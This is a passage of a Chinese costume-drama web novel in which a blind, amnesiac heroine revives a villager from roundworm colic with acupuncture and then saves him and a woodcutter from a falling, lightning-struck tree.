然若曦根本没有在意欢儿此时的一脸欣喜,她只自顾自地继续沉浸在自己方才的那个长长的梦境里,喃喃自语地纳闷道“为什么在我每个残碎的梦境片段里,始终都总是看不清楚梦中的那些脸呢,他们究竟是谁?那些一段段支离破碎的梦境片段又和我有什么关系?我到底是谁?我心中的执念又是什么?” 不知为何,若曦说着说着,忽然想起昨夜在如梦亭中偶遇的那个道长来,随即便又似是习惯性地摩挲起手腕上的那只七彩金丝彩玉镯子来。 顿时间,道长临走前的叮嘱又再次响在了她的耳边“贫道这儿有一粒还魂丹,用小姐手腕上的七彩金丝彩玉镯子将其研碎服下,能让小姐记起许多已经遗忘了的事。然却也会遗忘心中一直以来的执念,亦是一份不该属于这一世的念想。当然,那的确也是小姐心里最极为珍贵的东西。” 于是,她又情不自禁地在口里喃喃低声细语起来道“真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生。” 闻此,身旁的欢儿顿时惊的瞪大了一双圆溜溜的大眼睛看着她道“若曦,这句话...你是从哪儿听来的。” 然不等若曦开口回她,欢儿便大叫了一声“糟了!”话音尚还未落,便已兀自飞快地朝着院子里疾奔了出去,若曦亦不知所然跌跌撞撞地摸索着下了床来…… 第二百五十二章:你才是瞎子 “老夫人,老夫人……”欢儿一奔出西屋的门来便一边喊,一边疾步跨进到老妇人的东屋里。 见老妇人已然消失地无影无踪,便又急急退出来开始在院子里的所有角角落落里搜寻起来。终是无果,此时她心下一急,撒腿便朝着门外奔去。 许久后,只见欢儿步履缓慢,垂头丧气地从门外回到了院子里来。 这时候,正一手扶在门框上的同样一脸焦急之色的若曦,仔细侧耳一听到欢儿迟疑的脚步声,便急急迈步向其方向摸索着靠近了过去,亦着急地问道“欢儿,老夫人她怎么了?究竟发生了什么事?” 欢儿听到若曦柔软的声音,先是怔在原地里抬起头来朝其一愣,继而竟忽地一步上前去伸手一把抱住了若曦的肩膀,趴在她弱小的肩头上顿时失声大哭了起来。 这时,若曦的心亦顿时咯噔一下似是停了下来,继而忙道“欢儿莫要只顾哭,到底发生了什么事,你倒是快说啊?” 欢儿依旧无力地趴在她肩头,吸了吸鼻子,哽咽着道“若曦,这下要出大事了。方才听你醒来,我一着急便只顾着进屋来看你,竟没能拦住老夫人。老夫人她...她独自出远门去了,这八年来,她可是一步都没有离开过这个村子啊。前几日,我出去的时候,便听路上的人都说,近来外面很不太平,有许多到处打家劫舍,欺男霸女,猖狂至极的劫匪强盗,貌似他们还要向朝廷造反,朝廷正在派兵镇压呢。这...这兵荒马乱的,万一若是被老夫人遇上了,那可该如何是好呢?…呜,呜,呜……” 欢儿此时似是惊怕地都不敢再继续说下去,话音刚落便又哭了起来。 若曦一手抱紧欢儿,另一手轻抚着她的背,闻之心中亦是顿时恐慌极了,然依旧故作镇定着安抚其道“欢儿别哭,欢儿别哭,我问你,你可知道老夫人要去哪儿吗?” “老夫人,她是见你整日里总是昏昏沉沉地嗜睡着,身子总不见好。于是,她想要去城南城隍庙里亲自等玄空大师云游回来,好请大师亲自前来看看你。”欢儿一边用手背抹着眼泪,终于站直了身子对其哭诉道。 若曦闻此,心中顿感愧疚,原来老夫人此行都是因为自己所致,便道“城南城隍庙...你可知道怎么去么?老夫人走了左不过也就这会儿功夫,她一定还没走多远,我们这便赶快动身去追,相信一定能追得上的。” “可是...你的眼睛……”欢儿犹犹豫豫地朝其关切道。 被欢儿特意这么一关注,若曦方才意识到,其实自己的眼睛,自从今日一大早醒来便似乎已经隐隐约约地有了些光感“我的眼睛...欢儿放心,其实,我的眼睛似乎已经能感觉到些许光线了。所以,我陪你一起去,不会有事的,放心吧!” 闻此,欢儿瞬间兴奋极了,迅速伸出两只圆嘟嘟的小手来紧紧捉住若曦的手臂,欢呼雀跃地惊喜道“这是真的吗,若曦 ?你的眼睛真的已经有感觉了?” 若曦亦重重地朝其点了点头,眼角现出一抹好看的弧度来。 “真是太好了,这简直就是奇迹啊。一觉醒来,不仅若曦头上的伤消失地无影无踪,就连眼睛也好起来了。若曦,如此这样下去,相信你的记忆很快便会恢复的,你很快便会知道自己是谁,来自哪儿了?”此刻,欢儿内心竟激动地一把紧紧地将若曦整个人都抱了住,其力气之大,若曦似是都快要喘不过气来。 这时,若曦忙提醒其道“事不宜迟,欢儿带路,我们这就赶快走吧。” “对对对,快走快走,不然就追不上了!”就在欢儿正小心翼翼地搀扶着若曦,俩人刚走出院子正准备关门离开的时候,忽然疾奔过来一个樵夫打扮的中年男子。 那樵夫神色慌张,跑得满头大汗,上气不接下气地结结巴巴道“欢儿...欢儿姑娘,老夫人...老夫人她人呢?” “老夫人?你找老夫人何事啊?她自个儿出远门了,我正要出去寻她回来呢?大叔,你有什么事吗?”欢儿好声好气地问。 岂料那中年樵夫一听,却顿时惊慌失措地扬声怒了起来,道“什么?老夫人出远门了。老夫人不是一向都足不出户的吗?她早不出晚不出,怎么偏偏会这个时候外出了呢?哎呀,不得了啦,不得了啦,这下可要出人命了,这可怎么办是好,这可怎么办是好呀?” “哎,我说你这个人怎么能这么说话呢?那老夫人怎么就不能出个门了,她有什么义务成日里呆在家中等你们一个个上门来找,断你们的家长里短吗,她又不是……” 未等欢儿将话说完,若曦便忙伸手将其打断,柔声对其方向问道“这位大叔,请问你如此急匆匆地前来找老夫人,究竟有何事?” 闻声,那中年樵夫这才注意到了眼前的这个一袭水蓝色长裙的陌生人,将她很快地上下打量了一番,有些纳闷地道“你是什么人?” 若曦正在为难,欢儿忙一步上前去用自己的小身子将其挡在身后,开口回道“她是我刚刚久别重逢的远房表姐,怎么了?” “她的眼睛……”这时,中年樵夫忽然发现这看起来瘦弱高挑,一轻纱遮面的清秀女子的眼睛似是有些不对劲,便问道。 “我表姐的眼睛受伤了,你问这个做什么?你到底有什么事?若是不说的话,我们还有急事,没空陪你在这里瞎磨蹭。”欢儿不耐烦地将话一说完,便一把捉起若曦的手,欲要踱步离去。 见此,中年樵夫忙上前去张开双臂将俩个女子只身挡住,方才对其急急道“唉...等等等等,欢儿姑娘莫要生气,我只是一时好奇随便问问,并无恶意。欢儿姑娘,大事不好了,王二出事了!” “王二怎么了?”闻此,欢儿不禁顿时心中一震,一脸惊诧地道。 中年樵夫这才长长地舒了口气,幽幽道“早上起来,我吃了 两碗稀粥,又在家里喝了一壶茶,接着又……” “说重点”欢儿生气极了,真是越急越乱,越乱越急,闻此,猛地将其打断,朝其怒道。 中年樵夫吓得又忙拭了拭额角的汗水,方才回归到正题上“方才我在山里打柴,忽然听到身旁不远处似是有人发出一阵极其微弱地在喊‘救命’的声音,便寻了过去。岂料,走近一看,竟是王二。只见那王二躺在地上,像是中毒了的样子,也不知道他究竟是怎么中的毒?又中了什么毒?欢儿姑娘,求你赶快去看看吧。自从老族长死了以后,整个村子里就只有老夫人和你俩个人会医术了。这天眼看着都快要黑了,要是晚了,怕是王二他会不会就小命不保了呀。” “可是...可是我...我还要去找老夫人呢!想必你也听说了,最近外面很不太平,这老夫人万一要是有个什么闪失的话,那可怎么办呢?”欢儿亦顿时犹豫极了。 这时,一边上一直静静地沉默立着,未曾说话的若曦开口道“欢儿,事已至此,不如这样吧。我的眼睛虽已能见到些光,但始终都尚还未彻底痊愈,想着一路跟着你,你还要照顾我,怕是终会连累脱了你的后腿。不如,你先去追老夫人,我随这位大叔去看看王二的情况。等他脱离了危险,我再去寻你,如何?” 岂料若曦的话音刚落,欢儿便一脸严肃地侧过身去,似是生气极了一般地脱口即出“不行?可你会医术吗?就算你会医术,你的眼睛又能分辨得清药草吗?还有,即使这一切你都做到了,到时候怕是天也已经快要黑了。你一个女孩子,又怎么出门?你又知道去城隍庙的路吗?你已失去了记忆,眼睛又看不见,若是再弄丢了,或者半路上被那些劫匪给……不行,绝对不行。” “不行,你不行,你不能去!”岂料那中年樵夫不知为何,亦对若曦的主意一脸坚定地矢口否决道。 这时,若曦缓缓摸索着直到温柔地探到并捉起欢儿的手,耐心对其劝道“欢儿,相信我,我能做到的。虽然我忘记了自己是谁,又来自哪里?可我知道,王二我一定救得了。再说了,眼下除此之外,我们也已经没有其它路可以选了,不是吗?若是再这样两头继续耽误下去,或许你就真的追不上老夫人了。又或者,王二也一定会丧命呢。” 听了这一席话,欢儿心里似是终于有了些许动容,确实,眼下的事,都是事关人命之大事。于是,她终于慢慢地挪步转过了身来,手一反转,很轻松地便将若曦的手紧握住,叮嘱其道“好吧,但是你不要勉强自己,尽力就好。” 岂料欢儿终于同意了,那中年樵夫却一脸轻蔑地坚决道“不行,我不同意,她一个瞎子,而且以前从未在村子里见过,万一他将王二害死,逃跑了怎么办?” 欢儿闻声,一脸惊愕地厉色朝其吼道“你才是瞎子,说什么呢。若是不信她,那你就自己去给王二治吧!若曦,走,不理他。” 第二百五十三章:你去死吧 欢儿怒气冲冲地将话刚一说完,便兀自拉起若曦的手疾步离去。 那中年樵夫愣在原地里半晌后方才缓过神来,忙大步朝着二人追了上去,乞求道“欢儿姑娘,欢儿姑娘,你可是救苦救难的‘活菩萨’身边的人啊!怎能如此狠心见死不救呢?” “什么‘活菩萨’?那可是你们自己自愿传叫的,没有人逼你们这样称呼老夫人。老夫人...她只不过也就是个有血有肉,有着生老病死的平凡普通人而已。平日里,这个村子有谁没有受过她的恩惠,可如今她有难,怎么也不见你找人帮忙去找找她呢?”欢儿说着说着,似是都有些心寒和着急地欲要哭了似的。 中年樵夫亦顿时一脸难色地忧心忡忡道“欢儿姑娘,不是咱们大家不愿意帮你。而是,这若是平日的太平日子,叫咱们为老夫人做什么,咱们也都义不容辞。可现在...外面到处都是兵荒马乱的,处处都是劫匪和不要命的,还有谁敢出门去呢?那不是自己找死吗!” “你闭嘴!……” 岂料欢儿忿忿地话刚一开口,若曦骤然扬声朝这二人怒喝道“好啦,都别吵吵了。若是再这样吵下去,老夫人和王二就都没命了!” 闻此,二人方才止住了声,若曦接着认真严肃地布置道“欢儿,你赶快往城隍庙方向去追老夫人。这位大叔,正如你所言,我是个瞎子,若是真的没能医治好那王二,那我又能逃到哪里去呢?到时候,你想怎么处置我都可以,不是么?请相信我一次,我一定可以的。” “若曦,你在瞎说什么呢?”欢儿一脸责备之色地朝其怒道。 “这……好吧,那你就跟我走吧。”那中年樵夫再三思量,终是念及老妇人的安危,又看到若曦眼里满满的决心,终是长长地叹了口气,无奈地妥协道。 若曦闻声,顿时露出了一脸的欣喜之色。而身旁的欢儿却早已不知不觉地握紧了她的手,尽是不放心犹豫的眼神,口中喃喃道“若曦……” “放心吧,我不会有事的,你赶快去吧,若是晚了可就来不及了。”若曦反而催促其道。 欢儿心中自是极为着急着老夫人,又担心若曦的眼睛多有不便会应付不来,她又与村里的人尚未来得及接触过。 然在其一再的催促下,又看着越来越深的天色,终是一咬牙,心一横,便伸手折下了身旁的一株梦树上的一截小树枝,将其一头放在若曦的手里攥紧,又亲自将另一头郑重其事地交到中年樵夫的手中“若曦我可交给你了,你若是敢让她少了一根汗毛的话,我一定会让你好看。” 听到欢儿一个小姑娘此时如此认真地道出的这番话,中年樵夫顿时惊地不禁默默地吞下了一口口水,怔怔地望着眼前这个小姑娘一双圆溜溜炯炯有神的大眼睛,惊呆了。 待欢儿终是恋恋不舍的扭头离去,俩人便亦由一根梦树树枝牵连着,一前一后地径自朝着附近的一座深山方向而去。 山野里,漫山遍 野的野花到处盛开着,山涧溪水淙淙、山林郁郁葱葱、其间鸟语花香、山风阵阵迎面扑来,一切竟是如此的惬意舒适。 走在上山的崎岖小路上,若曦侧耳仔细聆听着渐入周围里所际遇到的所有美好的声音。 半晌后,她忽然微笑着开口问道“大叔,方才听你说王二是中毒了是吗?” 岂料,那中年樵夫却丝毫没好气地朝其瞪眼轻蔑地说道“是啊!怎么?方才信誓旦旦地一口一个让我相信你,说自己可以,自己一定可以。这会儿,莫不是心虚怕了不成?我可告诉你,事到如今,现在你就算是后悔也来不及了。如果你救不了王二的命,那你可就惨了,你要偿命的,知道吗?所以,不要再有任何痴心妄想了,好好想想待会儿要怎么做才是。” 闻此,若曦忙解释道“大叔,我不是这个意思,你放心,我说可以便一定可以。我之所以现在问这个,是想在我们赶往事发现场的途中对王二的情况多做些了解,这样可以节省很多救治的时间。我的眼睛暂时还看不见,所以,待会儿必定会有很多事情还得麻烦大叔你帮忙呢!” “哼...原是泥菩萨过江,自身都难保,还逞什么能耐呢,真是自不量力。我倒是要看看,你待会儿究竟要如何自圆其说?”中年樵夫极不信任地在心里暗暗讽刺道。 因为没有听到自己心中所期许的任何回应,若曦不禁耐心地再次朝前方引路的中年樵夫轻唤了起来“大叔,大叔……” “又做什么?”中年樵夫依旧脸色臭臭地极不耐烦道。 若曦闻声,却依旧心平气和的笑着问道“大叔,你还没告诉我,王二到底是什么中毒症状呢?” 虽然觉得很烦,中年樵夫仍是一边在前方引路,一边幽幽说了起来“春天到了,野菜疯长,想是王二该在山里误食了什么东西,中毒了吧?” “那他都有些什么详细症状呢?”若曦闻之,若有所思地追问着。 中年樵夫暗自沉默着想了想,重重地叹了口气说道“唉...方才我在山里发现他的时候,见他抱着腹部在地上滚来滚去的,似是绞痛难忍不已,都出汗了,摸着四肢亦有些发凉,口吐涎沫,这不都是中毒的症状吗?” 若曦眉头微蹙,认真地听着,口中喃喃道“腹部绞痛,四肢发凉,痛则汗出,口吐涎沫……倒也未必尽是中毒之象。” 顿时,她忙又问道“那王二的家境如何?” 中年樵夫闻此,即刻顿足回首一脸质疑地瞪着她的脸道“你问这个做什么?他的家境与他所中之毒有何关联?喔...我终于明白了,难不成,你想借治好了他的病,乘机敲诈他一笔不成!” 若曦忙解释道“大叔切莫误会,我不是那个意思。只是,根据大叔所言,我觉得王二不一定是中毒了,或许,是跟他平时的某些生活环境和习惯有关联。” “你真的会医术?”闻此,中年樵夫不禁再次又仔细地打量了一番眼前的神秘 面纱女子,道。 若曦只微笑着对其轻轻点了点头。 中年樵夫又疑惑道“可方才听欢儿姑娘不是说你失忆了,连自己是谁都记不起了吗?那么,你竟还能记得你的医术?” 若曦笑道“失忆也有很多种,不见得遭遇意外失忆的人就全都会变成痴傻的。” 至此,中年樵夫方才一边思索着,一边继续引路朝前走去,道“这话倒也是...王二自小便父母双亡,是个孤儿,很是可怜。家里很穷,条件很差,几乎是家徒四壁。却也偏偏有些好吃懒做,但心眼倒是不坏。这不春天了嘛,可能是想要在山中挖些野菜回去充饥,谁料……” “自小便父母双亡,那依照大叔所言,那王二经常来山里寻觅食物咯?”若曦惊诧地道。 “山里的野菜、野果、野菌菇...几乎大半都是被王二采了去。也是村里人见他可怜,故意留给他的。”中年樵夫默默地道。 “如此说来,王二对这山里的山货,都十分的了解。什么能吃,什么不能吃,应该不会误食才对啊。”若曦纳闷地跟在后面,喃喃自语道。 “唉,‘常在河边走,哪有不湿鞋’,谁没有个万一呢……”中年樵夫叹了口气,却不认同其道。 就在俩人说话思索间,那中年樵夫忽然止住步来,大叫了一声“王二,王二……”随即便丢掉了手里的树枝,直朝着山涧小溪边一似是已昏厥了过去的男子身边急奔而去。 闻声,若曦当即顿足心中一惊,继而亦忙伸手借着微弱可见的一丝光线一边急急摸索着,一边朝其声音所发出的方向探了过去。 “啊!”只闻一声女子的尖叫声,跪身在地抱着王二的头痛哭着的中年樵夫猛地回头看了一眼,这才看到是摸索着探寻了上来的若曦,她刚好被地上王二的双脚给绊倒在地。 然她丝毫不顾及自己身上的痛楚,只着急地在地上一顺着王二的脚爬了上来到樵夫的身边,便忙一边在王二的胳膊上摸索着,一边问道“怎么样,怎么样?他现在什么情况了?” “走开,你是瞎子吗?你没看到他一脸惨白,已经…都怪你,都怪你,你去死吧...…”中年樵夫一看到此刻昏死过去的王二的一副惨状,伤心极了,一想到莫不是自己延误了他,便一把将若曦大力地推倒在了地上,又口不择言地朝其怒喝道。 然若曦却根本不管不顾他此时的冷言冷语,忙又挣扎着坐起身来,继而再一次跪爬着伸手去探寻王二手腕上的脉搏以及其四肢的温度。 半晌后,若曦终是一脸欣喜地道“没事的,没事的,来得及,来得及,他不会有事的,不会有事的。” 话音刚落,若曦便从身上摸索出一包银针来,摊在身边的草丛上,继而又伸手开始摸索着脱起了王二的鞋袜来。 中年樵夫一看到若曦此时笨拙极了的动作,忙大声朝其制止道“你想做什么,不可以,你住手,快停下来……” 第二百五十四章:为救人,光感消耗殆尽 若曦探寻过王二的脉搏以及其四肢的温度后,终是一脸欣喜地道“没事的,没事的,来得及,来得及,他不会有事的,不会有事的。” 话音刚落,若曦便从身上摸索出一包银针来,摊在身边的草丛上,继而又伸手开始摸索着脱起了王二的鞋袜来。 中年樵夫一看到若曦此时笨拙极了的动作,忙大声朝其制止道“你想做什么,不可以,你住手,快停下来……” “大叔,请你赶快帮我把王二的裤腿和袖子都掀起来,一定要快,他现在已经昏厥了,若是再不施针救治的话,怕是就会有生命危险,要来不及了。快啊!”王二的病情已然迫在眉睫,若曦完全不顾中年樵夫的劝阻,只对其命令道。 然中年樵夫却一脸质疑地依然对其耿耿于怀道“你真的会医术吗?” “这都什么时候了,王二已经被你耽误了许多的救治时间,难道你非要等看到他断气以后方才后悔吗?我若是不会医术,又怎么会随身带着这些银针行走呢?”若曦一边褪去其鞋袜,一边着急地道。 “即使你真的会医术,可是此时你的眼睛,望闻问切,你又如何……”那中年樵夫犹犹豫豫,话还未说完,不想却顿时被眼前的情景惊呆了。 只见若曦一急急褪去王二的鞋袜来,便顺着又将王二的裤腿亦已掀了开来,继而右手摸索捏起一根银针,左手同时在王二的小腿外侧处一边摸索比划着,一边口中喃喃自语道“足三里,位于小腿外侧,犊鼻下3寸,犊鼻与解溪连线上。直刺1至2寸,主治胃肠病证,下肢痿痹,神志病,外疾患,虚劳诸症。” 话一说完,便似是已经找准了穴位,朝其直刺了下去。 紧接着,只见她一刻都没有多做迟疑,又摸索出另一根同样的银针来将其捏在右手指尖,同样以左手在王二的小腿外侧边摸索比划着,一边口中喃喃念叨着“阳陵泉,位于小腿外侧,当腓骨头前下方凹陷处。直刺1寸,主治半身不遂,下肢痿痹,麻木,膝膑肿痛,脚气,胁肋痛,口苦,呕吐,黄疸,小儿惊风,坐骨神经痛,肝炎,胆囊炎,蛔厥,膝关节炎等。” 就在若曦又一次无比镇定地将银针再次准确地刺入穴位的时候,一旁的中年樵夫早已经被其口中专业的用语和娴熟的动作惊的怔在原地里一动不动了。 …… 只不过须臾,她便已施完了腿上的针穴,继而又摸索着挪身到了王二的手臂旁边来。 正欲要伸手褪去王二的衣袖,那中年樵夫这才猛然回过神来,忙伸手抢先两三下功夫便将王二的整条臂膀帮其露了出来,并放在若曦的手中。 若曦对其之善意笑了笑,随即一手指尖捏着银针,另一手一边在其前臂背侧腕背处摸索比划着,一边口中念道“支沟穴,位于前臂背侧腕背横纹上3寸。直刺0.5-1寸,可治头痛,耳鸣,耳聋,中耳炎;目赤,目痛,暴喑,咽肿,热病,瘰疬;咳引胁痛,胸膈满闷,卒心痛,逆气;便秘,呕吐,泄泻;经闭,产后血晕,乳汁不足;胁肋痛,肩臂腰背酸痛,落枕,手指震颤,腕臂无力;缠腰火丹,丹毒。 当她再次一脸沉稳冷静地将指尖的银针刺入时,中年樵夫已然惊愕地不能自已,又一次瞪大了眼睛呆愣在了一旁。 等待的时间只不过片刻,忽见王二的四肢微微触动了两下,随后竟真的渐渐苏醒了过来。 “王二,王二,你终于醒了,太好了,他醒了,他醒了……”中年樵夫一脸不可思议地忙扑过去将王二的上身扶着坐起,又对若曦欣喜道。 若曦亦终于长长地舒了口气,兀自将王二身上的所有银针再次摸索着一一拔出收回。 王二终于缓缓睁开眼睛,待其一看清眼前的女子,瞬时尚还有些虚弱地朝其惊讶道“是你,怎么是你,你什么时候醒过来的?” 说着,便挣扎着欲要起身来。这时,中年樵夫方才开口告诉王二道“王二,是这位瞎...这位姑娘救了你的命。方才你是怎么了,真是吓死人了,要不是这位姑娘,今日你死定了。” “是她...救了我?”王二不可思议地一脸疑惑着道。 “可不是嘛...就是这位姑娘救的你。今日不巧老夫人出远门了,近日里外面到处兵荒马乱的,欢儿姑娘不放心老夫人独自出门,便出去寻了。”中年樵夫点了点头,一脸敬佩地看着若曦的脸道。 话音刚落,中年樵夫又不解地问王二道“不过,你从小便在这山里采食,怎么会中毒了呢,你到底吃了什么东西?” “我...我没吃什么啊?”王二亦心中颇为纳闷地道。 就在二人都一脸不解时,若曦已收好了银针站起身来道“你是不是平日里经常会阵发性地腹部剧烈绞痛,痛时翻滚不已,大汗出,面色苍白,四肢冰冷,发作后又与常人一般无任何不同?” “你是怎么知道的?”王二闻言,顿然抬起头来仰望着这个昔日里令他一脸嫌弃的丑陋面纱女子惊声道。 然若曦并没有立刻回答他的疑问,只对其微微笑了笑,继而又侧脸朝着那位中年樵夫道“这位大叔,我的眼睛不方便,麻烦请你帮忙看看,在他身旁的所吐之物里是不是有些许蛔虫?” 那中年樵夫眼睛一斜,很快便看到在一堆污秽不堪之物里果然有几条让人作呕的微黄色如蚯蚓一般的线虫在蠕动,不禁惊声赞叹道“姑娘,你是不是故意装瞎的啊,好像什么都看的到一样,真神啊!……不过,这王二究竟犯的是什么病呢?” 闻此,若曦这下总算是全明白了,随即松了口气道“《医林绳墨厥》中有云‘有蛔厥者,胃中虚冷,蛔水能养,妄行于上,致令上吐,蛔虫多出,心气虚惊,彷惶不宁,致使手足冰冷而作厥也,故曰蛔厥。” “‘蛔厥’?这不是小儿一般才会发的病吗?有孩子的人家中一般都会备着乌梅丸,吃吃就没事了。这王二都快三十的人了,怎么也会……”中年樵夫看着王二,王二亦看着中年樵夫,俩个人顿时面面相觑着,满心疑惑道。 若曦却道“没错,此病虽好发于七八岁的小儿,但方才在上山的途中,我一听大叔所言王二的病症,又了解到王二自小便在这山里采食,自不会那么不小心地中毒。于是,便又问了大 叔你王二的家境,据你所说,他平日里,一定是自小无人照料,又不注意卫生,长年累月,小病终于积成了大疾。到了这里,我一替他把脉,便就更确定是‘蛔厥’无疑了。幸好我们赶得及时,若是再晚一些,便会真的危及生命了。” “原来如此…那姑娘仅凭方才那几针便将王二给治愈了?”中年樵夫抱着尚还有些虚弱的王二的肩问道。 “当然不是,他还需要服下家家户户都备有的‘乌梅丸’方可,不过要记得服药之前先服下浓糖水一杯,再服药,服药后注意观察排便中是否有蛔虫排出。另外,以后饭前便后要记得洗手,不喝生水,瓜果蔬菜要洗净煮熟后方才能食用,如此才能一劳永逸,再不复发。”若曦细致入微地叮嘱关切道。 中年樵夫顿时恍然大悟道“我可真是‘有眼不识泰山’啊,没想到,我们这小小的桃花店村里,区区一座巴掌大的小庙,竟然又来了一位救苦救难的‘活菩萨’。方才我言语上多有得罪,还望姑娘见谅!” “大叔莫要这样说,什么‘活菩萨’,我可受不起,这种成人感染的病例在平日里也的确是比较少见而已。”若曦谦虚道。 “谢谢...谢谢姑娘。”这时,虚弱的王二亦靠在中年樵夫的怀里,鼓足了一口气对若曦致谢道。 若曦闻声,朝其方向对其嫣然一笑道“举手之劳,不必挂怀。” “轰隆隆……” 深山里的天气,总是说变就变。就在三人正慢慢地熟络之际,忽然,一阵滚滚春雷,声声响在了三人的头顶之上。 中年樵夫骤然抬起头来一看,随即惊声道“不好,看样子,是要下大雨了,这深山里可并没有什么能躲雨的地方啊,这可该如何是好?” 闻此,三人心里不禁一起都有些慌了起来。 正在思索,这时,若曦先开口道“大叔,我没事的,你不用管我。王二的身体在这个时候绝不能淋雨...你赶快将他背起来下山去吧,我……” 不及若曦将话说完,那中年樵夫当即坚决否定道“不行,这怎么可以呢?我答应了欢儿姑娘,一定让你一根汗毛都不能有事。这深山里,平时除了我和王二,很少有人出没。你一个大姑娘家,怎么能独自留在这里。况且,这里偶尔还会有野兽出没,不行,这绝不行。” 那中年樵夫言语里,一脸的决绝和不容置喙。 耳边的雷声越来越响,雨点也已开始一滴滴地洒落下来。 终于,若曦无奈地道“好吧,大叔,你背着王二在前面走,我还是像上山来的时候一样,紧跟在你们身后,这样总可以了吧?” “天色渐暗了,你的眼睛行吗?”中年樵夫一脸忧色道。 “嗯,放心吧,我可以的,我能看到一丝光亮。”许是因为方才太费力地集中眼力去替王二寻觅穴位,这会儿,其实若曦原本仅仅尚只恢复了一点点的光感,早已消耗殆尽。但为了让樵夫与王二能同意尽快成行,她还是对其扯谎道。 闻此,终于,三人一起开始迈上了下山的路。 然俗语都说“上山容易下山难,下山的路上……” 第二百五十五章:千里之外,离人心间一抹痛 “天色渐暗了,你的眼睛行吗?”中年樵夫一脸忧色道。 “嗯,放心吧,我可以的,我能看到一丝光亮。”许是因为方才太费力地集中眼力去替王二寻觅穴位,这会儿,其实若曦原本仅仅尚只恢复了一点点的光感,早已消耗殆尽。但为了让樵夫与王二能同意尽快成行,她还是对其扯谎道。 闻此,终于,三人一起开始迈上了下山的路。 然俗语都说“上山容易下山难,上山虽费力但不容易发生危险,下山虽省力却极容易失足。” 下山的路上,中年樵夫背着昏昏沉沉的王二,腰间紧紧系着一条用砍刀砍下来的一捆山间藤蔓所编制成的绳子,牵着另一端双目已完全无一丝光感的若曦,艰难而又着急地疾步穿梭在树木繁茂、翠树成荫、怪石嶙峋的山间小路上。 随着天气变得愈来愈糟糕,中年樵夫不由自主地渐渐加快着脚步。 一路上,若曦显然已越来越跟不上中年樵夫的脚步,心下里一急,脚下忽然一个踩空,只闻“啊……”的一声尖叫,中年樵夫备受惊吓,回过头去赶忙将其扶住关切道“你没事吧?小心点!” 然实际上,接下来的若曦依旧跌跌撞撞着状况百出。时而踩空整个身子一抖,时而碰到大树心里一惊,时而滑入林间小溪边踉跄不止,时而双腿又实实地撞到岩石上现出一脸的痛楚…… 可为了不成为别人的负累,让王二尽快平安下山去,面对中年樵夫的每次回首关怀,若曦都是强忍着身上的疼痛,笑着对其摇头道“我没事,赶快走吧!” 就在眼看着距离山下只剩下不到一半路程的时候,天空中的积云变得越来越厚,耳边的滚滚雷声亦骤然不断加剧,呼啸的山风夹杂着雨点亦突然开始肆意狂虐起来,打落在人身上让人觉得生生地疼,若曦忍不住轻轻抚摸了下自己吃痛的臂膀。 就在这时,空中突然炸出一道霹雳闪电,气势汹汹地直朝着中年樵夫身旁的一棵高大的松树劈了下来。 只见那松树的树皮瞬间被撕下了长长的一道,只留下光秃秃的半边树干。 其上面的树身被其拦腰折断断裂开来后,夹杂着火苗,冒着浓烈的一股黑烟,正好朝其头顶恶狠狠地砸了下来。 就在这千钧一发之际,也不知心乱如焚的若曦是忽然又恢复了光感,还是失明后的她耳力反而有所增强的缘故,只见她忽然顿足下来侧耳一静听,继而便一步上前用尽全身力气以迅雷不及掩耳之势,将因为心中只急着赶路对此却毫无察觉的中年樵夫一把大力地推了出去,倒在地上。 那中年樵夫忽然被人无端地向前推倒了那么大一截,尚还未来得及反应过来回过头去查看究竟发生了何事,只听到早已与自己脱离了开来的若曦发出了极大一声的警告“小心!”。 待他惊慌的回过头去,只见若曦整个人早已卷着那半截冒着黑烟又夹杂着火苗的树身一起从脚下陡峭的山坡上 滚落了下去,瞬间人和树都不见了踪影,只留下身后的一片狼藉。 那中年樵夫一时间里看着周围所发生的一切,竟被眼前的景象惊呆了。 不知栽倒在地,瞪着一双吃惊的眼睛朝着身边的所有一切凝视了多久,他摒住呼吸,似是周围的一切瞬间都已不存在,只觉耳边直嗡嗡作响。他不敢相信,此刻,竟是如此瘦弱的一个女子身躯挽救了他和王二的俩条性命。而就在刚才,即使此刻现在,他心里还依旧只当她是个有残缺的瞎子而已。 中年樵夫心情复杂地回想着今日里所发生的这一切,许久后,他愣愣地缓缓坐起身来,似是方才刚刚回过神来一般,继而连滚带爬地到了山坡边上,放眼急急寻觅着可以下坡去的路,而最终却发现这根本就是个无法踏足而下的陡坡。 于是,他又似是本能一般地惊慌失措地朝着若曦消失的山坡下连连失声惊叫起来道“姑娘,姑娘……” 此刻,中年樵夫无助地似是都快要哭了,而与其一起被救倒地着的王二更是眼看着这一切,一个七尺男儿,却早已趴在地上哭成了个泪人儿,两只拳头不停地狠狠砸着地面,口中喃喃不住重复自责道“都怪我,都是因为我才会发生这一切……” 就在这时,大雨已经开始哗啦哗啦地从空中飘了起来,打湿了中年樵夫黝黑的脸,被雨水浇灌醒来,他犹犹豫豫地再次看了看山坡下,又回头看了看趴在地上虚弱极了的王二。 眼看着天色也已经黑了下来,于是,一咬牙,心一横,他将一只粗糙的大手握紧成拳,狠狠地拍在身旁山坡边上的一棵大树上,重重地一声叹息道“唉!”,继而便赶忙起身来,踱步过去再次背起王二来,向山下疾奔而去。 此刻,城东秦王府。 轩辕翰在程良的劝慰和陪伴下,于夜幕刚降临,一场小雨亦淅淅沥沥正忙着落下的时候,也终于收拾好了心情赶回到王府之中。 刚一跨下马来,轩辕翰的心口间骤然而生似是刀绞一般的一阵疼痛感,他不禁顿足下来微微地蹙起了眉来,继而伸手一把重重地捂在了其结实的胸膛,不怒自威的一张冷峻脸上顿时露出一丝极为不适的表情来。 程良看见,忙上前去想要将其扶住,关切道“殿下,没事吧?” “没事!”轩辕翰似是心里忽然感觉到了什么一般,急急伸手将其拦住,然嘴上虽然这样若无其事,云淡风轻地说着,心里却道“该不会是她……” 待其再次打起精神来,与程良一道迈步进入承华殿时,陆贤父子早已在殿内等候着。除此之外,还有帝特派来护送的宫里的俩个奴才随行贴身跟着。 一见轩辕翰进来,父子俩及那俩个宫人忙上前来朝其恭敬地行礼道: “老夫参见秦王殿下,千岁,千岁,千千岁!” “天麟参见秦王殿下,千岁,千岁,千千岁!” “奴才参见秦王殿下,千岁,千岁, 千千岁!” “都起来吧!“轩辕翰一边上前落座,一边对殿内众人冷声道。 “你怎么来了?手里拿的又是何物?”轩辕翰忽一抬眼,瞥见陆贤手里紧紧握着似是一副画轴的物件,问道。 